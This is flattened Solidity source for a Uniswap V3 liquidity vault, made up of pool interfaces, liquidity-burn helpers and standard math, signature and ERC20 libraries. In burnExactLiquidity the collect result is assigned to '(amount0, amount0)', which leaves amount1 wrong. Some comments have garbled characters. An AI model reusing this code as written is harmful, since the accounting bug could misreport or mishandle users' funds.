/// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee.
/// unlocked Whether the pool is currently locked to reentrancy
function slot0()
external
view
returns (
uint160 sqrtPriceX96,
int24 tick,
uint16 observationIndex,
uint16 observationCardinality,
uint16 observationCardinalityNext,
uint8 feeProtocol,
bool unlocked
);
/// @notice Returns the information about a position by the position's key
/// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper
/// @return _liquidity The amount of liquidity in the position,
/// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke,
/// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke,
/// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke,
/// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke
function positions(bytes32 key)
external
view
returns (
uint128 _liquidity,
uint256 feeGrowthInside0LastX128,
uint256 feeGrowthInside1LastX128,
uint128 tokensOwed0,
uint128 tokensOwed1
);
}
pragma solidity >=0.5.0;
/// @title Pool state that never changes
/// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values
interface IUniswapV3PoolImmutables {
/// @notice The first of the two tokens of the pool, sorted by address
/// @return The token contract address
function token0() external view returns (address);
/// @notice The second of the two tokens of the pool, sorted by address
/// @return The token contract address
function token1() external view returns (address);
/// @notice The pool tick spacing
/// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive
/// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ...
/// This value is an int24 to avoid casting even though it is always positive.
/// @return The tick spacing
function tickSpacing() external view returns (int24);
}
pragma solidity >=0.5.0;
/// @title The interface for a Uniswap V3 Pool
/// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform
/// to the ERC20 specification
/// @dev The pool interface is broken up into many smaller pieces
interface IUniswapV3Pool is
IUniswapV3PoolImmutables,
IUniswapV3PoolState,
IUniswapV3PoolDerivedState,
IUniswapV3PoolActions
{
}
pragma solidity 0.7.6;
pragma abicoder v2;
/// @title This library is created to conduct a variety of burn liquidity methods
library PoolActions {
using PoolVariables for IUniswapV3Pool;
using LowGasSafeMath for uint256;
using SafeCast for uint256;
/**
* @notice Withdraws liquidity in share proportion to the Sorbetto's totalSupply.
* @param pool Uniswap V3 pool
* @param tickLower The lower tick of the range
* @param tickUpper The upper tick of the range
* @param totalSupply The amount of total shares in existence
* @param share to burn
* @param to Recipient of amounts
* @return amount0 Amount of token0 withdrawed
* @return amount1 Amount of token1 withdrawed
*/
function burnLiquidityShare(
IUniswapV3Pool pool,
int24 tickLower,
int24 tickUpper,
uint256 totalSupply,
uint256 share,
address to
) internal returns (uint256 amount0, uint256 amount1) {
require(totalSupply > 0, "TS");
uint128 liquidityInPool = pool.positionLiquidity(tickLower, tickUpper);
uint256 liquidity = uint256(liquidityInPool).mul(share) / totalSupply;
if (liquidity > 0) {
(amount0, amount1) = pool.burn(tickLower, tickUpper, liquidity.toUint128());
if (amount0 > 0 || amount1 > 0) {
// collect liquidity share
(amount0, amount1) = pool.collect(
to,
tickLower,
tickUpper,
amount0.toUint128(),
amount1.toUint128()
);
}
}
}
/**
* @notice Withdraws exact amount of liquidity
* @param pool Uniswap V3 pool
* @param tickLower The lower tick of the range
* @param tickUpper The upper tick of the range
* @param liquidity to burn
* @param to Recipient of amounts
* @return amount0 Amount of token0 withdrawed
* @return amount1 Amount of token1 withdrawed
*/
function burnExactLiquidity(
IUniswapV3Pool pool,
int24 tickLower,
int24 tickUpper,
uint128 liquidity,
address to
) internal returns (uint256 amount0, uint256 amount1) {
uint128 liquidityInPool = pool.positionLiquidity(tickLower, tickUpper);
require(liquidityInPool >= liquidity, "TML");
(amount0, amount1) = pool.burn(tickLower, tickUpper, liquidity);
if (amount0 > 0 || amount1 > 0) {
// collect liquidity share including earned fees
(amount0, amount0) = pool.collect(
to,
tickLower,
tickUpper,
amount0.toUint128(),
amount1.toUint128()
);
}
}
/**
* @notice Withdraws all liquidity in a range from Uniswap pool
* @param pool Uniswap V3 pool
* @param tickLower The lower tick of the range
* @param tickUpper The upper tick of the range
*/
function burnAllLiquidity(
IUniswapV3Pool pool,
int24 tickLower,
int24 tickUpper
) internal {
// Burn all liquidity in this range
uint128 liquidity = pool.positionLiquidity(tickLower, tickUpper);
if (liquidity > 0) {
pool.burn(tickLower, tickUpper, liquidity);
}
// Collect all owed tokens
pool.collect(
address(this),
tickLower,
tickUpper,
type(uint128).max,
type(uint128).max
);
}
}
pragma solidity >=0.4.0;
// computes square roots using the babylonian method
// https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method
library Babylonian {
// credit for this implementation goes to
// https://github.com/abdk-consulting/abdk-libraries-solidity/blob/master/ABDKMath64x64.sol#L687
function sqrt(uint256 x) internal pure returns (uint256) {
if (x == 0) return 0;
// this block is equivalent to r = uint256(1) << (BitMath.mostSignificantBit(x) / 2);
// however that code costs significantly more gas
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x8) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1; // Seven iterations should be enough
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
}
pragma solidity ^0.7.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
* Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {LowGasSafeMAth}
* overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never
* directly accessed.
*/
library Counters {
using LowGasSafeMath for uint256;
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
// The {LowGasSafeMath} overflow check can be skipped here, see the comment at the top
counter._value += 1;
}
}
pragma solidity >=0.7.0;
/// @title Function for getting the current chain ID
library ChainId {
/// @dev Gets the current chain ID
/// @return chainId The current chain ID
function get() internal pure returns (uint256 chainId) {
assembly {
chainId := chainid()
}
}
}
pragma solidity =0.7.6;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n รท 2 + 1, and for v in (282): v โ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ISS");
require(v == 27 || v == 28, "ISV");
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "IS");
return signer;
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
pragma solidity =0.7.6;
/**
* @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
*
* The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
* thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
* they need in their contracts using a combination of `abi.encode` and `keccak256`.
*
* This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
* scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
* ({_hashTypedDataV4}).
*
* The implementation of the domain separator was designed to be as efficient as possible while still properly updating
* the chain id to protect against replay attacks on an eventual fork of the chain.
*
* NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
* https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
*
* _Available since v3.4._
*/
abstract contract EIP712 {
/* solhint-disable var-name-mixedcase */
// Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to
// invalidate the cached domain separator if the chain id changes.
bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
uint256 private immutable _CACHED_CHAIN_ID;
bytes32 private immutable _HASHED_NAME;
bytes32 private immutable _HASHED_VERSION;
bytes32 private immutable _TYPE_HASH;
/* solhint-enable var-name-mixedcase */
/**
* @dev Initializes the domain separator and parameter caches.
*
* The meaning of `name` and `version` is specified in
* https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
*
* - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
* - `version`: the current major version of the signing domain.
*
* NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
* contract upgrade].
*/
constructor(string memory name, string memory version) {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
bytes32 typeHash = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
_CACHED_CHAIN_ID = ChainId.get();
_CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
_TYPE_HASH = typeHash;
}
/**
* @dev Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() internal view returns (bytes32) {
if (ChainId.get() == _CACHED_CHAIN_ID) {
return _CACHED_DOMAIN_SEPARATOR;
} else {
return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
}
}
function _buildDomainSeparator(bytes32 typeHash, bytes32 name, bytes32 version) private view returns (bytes32) {
return keccak256(
abi.encode(
typeHash,
name,
version,
ChainId.get(),
address(this)
)
);
}
/**
* @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
* function returns the hash of the fully encoded EIP712 message for this domain.
*
* This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
*
* ```solidity
* bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
* keccak256("Mail(address to,string contents)"),
* mailTo,
* keccak256(bytes(mailContents))
* )));
* address signer = ECDSA.recover(digest, signature);
* ```
*/
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);
}
}
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*/
interface IERC20Permit {
/**
* @dev Sets `value` as the allowance of `spender` over `owner`'s tokens,
* given `owner`'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*/
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
/**
* @dev Returns the current nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
/**
* @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
pragma solidity ^0.7.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using LowGasSafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "TEA"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "DEB"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "FZA");
require(recipient != address(0), "TZA");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "TEB");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "MZA");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "BZA");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "BEB");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "AFZA");
require(spender != address(0), "ATZA");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
pragma solidity =0.7.6;
/**
* @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*
* _Available since v3.4._
*/
abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {
using Counters for Counters.Counter;
mapping (address => Counters.Counter) private _nonces;
//keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 private immutable _PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
/**
* @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`.
*
* It's a good idea to use the same `name` that is defined as the ERC20 token name.
*/
constructor(string memory name) EIP712(name, "1") {
}
/**
* @dev See {IERC20Permit-permit}.
*/
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual override {
// solhint-disable-next-line not-rely-on-time
require(block.timestamp <= deadline, "ED");
bytes32 structHash = keccak256(
abi.encode(
_PERMIT_TYPEHASH,
owner,
spender,
value,
_useNonce(owner),
deadline
)
);
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSA.recover(hash, v, r, s);
require(signer == owner, "IS");
_approve(owner, spender, value);
}
/**
* @dev See {IERC20Permit-nonces}.
*/
function nonces(address owner) public view virtual override returns (uint256) {
return _nonces[owner].current();
}
/**
* @dev See {IERC20Permit-DOMAIN_SEPARATOR}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
/**
* @dev "Consume a nonce": return the current value and increment.
*/
function _useNonce(address owner) internal virtual returns (uint256 current) {
Counters.Counter storage nonce = _nonces[owner];
current = nonce.current();
nonce.increment();
}
}
pragma solidity >=0.4.0;
/// @title FixedPoint96
/// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format)
/// @dev Used in SqrtPriceMath.sol
library FixedPoint96 {
uint8 internal constant RESOLUTION = 96;
uint256 internal constant Q96 = 0x1000000000000000000000000;
}
pragma solidity >=0.5.0;
/// @title Math functions that do not check inputs or outputs
/// @notice Contains methods that perform common math functions but do not do any overflow or underflow checks
library UnsafeMath {
/// @notice Returns ceil(x / y)
/// @dev division by 0 has unspecified behavior, and must be checked externally
/// @param x The dividend
/// @param y The divisor
/// @return z The quotient, ceil(x / y)
function divRoundingUp(uint256 x, uint256 y) internal pure returns (uint256 z) {
assembly {
z := add(div(x, y), gt(mod(x, y), 0))
}
}
/// @notice Returns floor(x / y)
/// @dev division by 0 has unspecified behavior, and must be checked externally
/// @param x The dividend
/// @param y The divisor
/// @return z The quotient, floor(x / y)
function unsafeDiv(uint256 x, uint256 y) internal pure returns (uint256 z) {
assembly {
z := div(x, y)
}
}
}
pragma solidity >=0.4.0;
/// @title Contains 512-bit math functions
/// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision
/// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits
library FullMath {
/// @notice Calculates floor(aรbรทdenominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
/// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv
function mulDiv(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
// 512-bit multiply [prod1 prod0] = a * b
// Compute the product mod 2**256 and mod 2**256 - 1
// then use the Chinese Remainder Theorem to reconstruct
// the 512 bit result. The result is stored in two 256
// variables such that product = prod1 * 2**256 + prod0
uint256 prod0; // Least significant 256 bits of the product
uint256 prod1; // Most significant 256 bits of the product
assembly {
let mm := mulmod(a, b, not(0))
prod0 := mul(a, b)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
// Handle non-overflow cases, 256 by 256 division
if (prod1 == 0) {
require(denominator > 0);
assembly {
result := div(prod0, denominator)
}
return result;
}
// Make sure the result is less than 2**256.
// Also prevents denominator == 0
require(denominator > prod1);
///////////////////////////////////////////////
// 512 by 256 division.
///////////////////////////////////////////////
// Make division exact by subtracting the remainder from [prod1 prod0]
// Compute remainder using mulmod
uint256 remainder;
assembly {
remainder := mulmod(a, b, denominator)
}
// Subtract 256 bit number from 512 bit number
assembly {
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
// Factor powers of two out of denominator
// Compute largest power of two divisor of denominator.
// Always >= 1.
uint256 twos = -denominator & denominator;
// Divide denominator by power of two
assembly {
denominator := div(denominator, twos)
}
// Divide [prod1 prod0] by the factors of two
assembly {
prod0 := div(prod0, twos)
}
// Shift in bits from prod1 into prod0. For this we need
// to flip `twos` such that it is 2**256 / twos.
// If twos is zero, then it becomes one
assembly {
twos := add(div(sub(0, twos), twos), 1)
}
prod0 |= prod1 * twos;
// Invert denominator mod 2**256
// Now that denominator is an odd number, it has an inverse
// modulo 2**256 such that denominator * inv = 1 mod 2**256.
// Compute the inverse by starting with a seed that is correct
// correct for four bits. That is, denominator * inv = 1 mod 2**4
uint256 inv = (3 * denominator) ^ 2;
// Now use Newton-Raphson iteration to improve the precision.
// Thanks to Hensel's lifting lemma, this also works in modular
// arithmetic, doubling the correct bits in each step.
inv *= 2 - denominator * inv; // inverse mod 2**8
inv *= 2 - denominator * inv; // inverse mod 2**16
inv *= 2 - denominator * inv; // inverse mod 2**32
inv *= 2 - denominator * inv; // inverse mod 2**64
inv *= 2 - denominator * inv; // inverse mod 2**128
inv *= 2 - denominator * inv; // inverse mod 2**256
// Because the division is now exact we can divide by multiplying
// with the modular inverse of denominator. This will give us the
// correct result modulo 2**256. Since the precoditions guarantee
// that the outcome is less than 2**256, this is the final result.
// We don't need to compute the high bits of the result and prod1
// is no longer required.
result = prod0 * inv;
return result;
}
/// @notice Calculates ceil(aรbรทdenominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
function mulDivRoundingUp(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
result = mulDiv(a, b, denominator);
if (mulmod(a, b, denominator) > 0) {
require(result < type(uint256).max);
result++;
}
}
}
pragma solidity >=0.5.0;
/// @title Safe casting methods
/// @notice Contains methods for safely casting between types
library SafeCast {
/// @notice Cast a uint256 to a uint160, revert on overflow
/// @param y The uint256 to be downcasted
/// @return z The downcasted integer, now type uint160
function toUint160(uint256 y) internal pure returns (uint160 z) {
require((z = uint160(y)) == y);
}
/// @notice Cast a uint256 to a uint128, revert on overflow
/// @param y The uint256 to be downcasted
/// @return z The downcasted integer, now type uint128
function toUint128(uint256 y) internal pure returns (uint128 z) {
require((z = uint128(y)) == y);
}
/// @notice Cast a int256 to a int128, revert on overflow or underflow
/// @param y The int256 to be downcasted
/// @return z The downcasted integer, now type int128
function toInt128(int256 y) internal pure returns (int128 z) {
require((z = int128(y)) == y);
}
/// @notice Cast a uint256 to a int256, revert on overflow
/// @param y The uint256 to be casted
/// @return z The casted integer, now type int256
function toInt256(uint256 y) internal pure returns (int256 z) {
require(y < 2**255);
z = int256(y);
}
}
pragma solidity >=0.7.0;
/// @title Optimized overflow and underflow safe math operations
/// @notice Contains methods for doing math operations that revert on overflow or underflow for minimal gas cost
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y, string memory errorMessage) internal pure returns (uint256 z) {
require((z = x - y) <= x, errorMessage);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
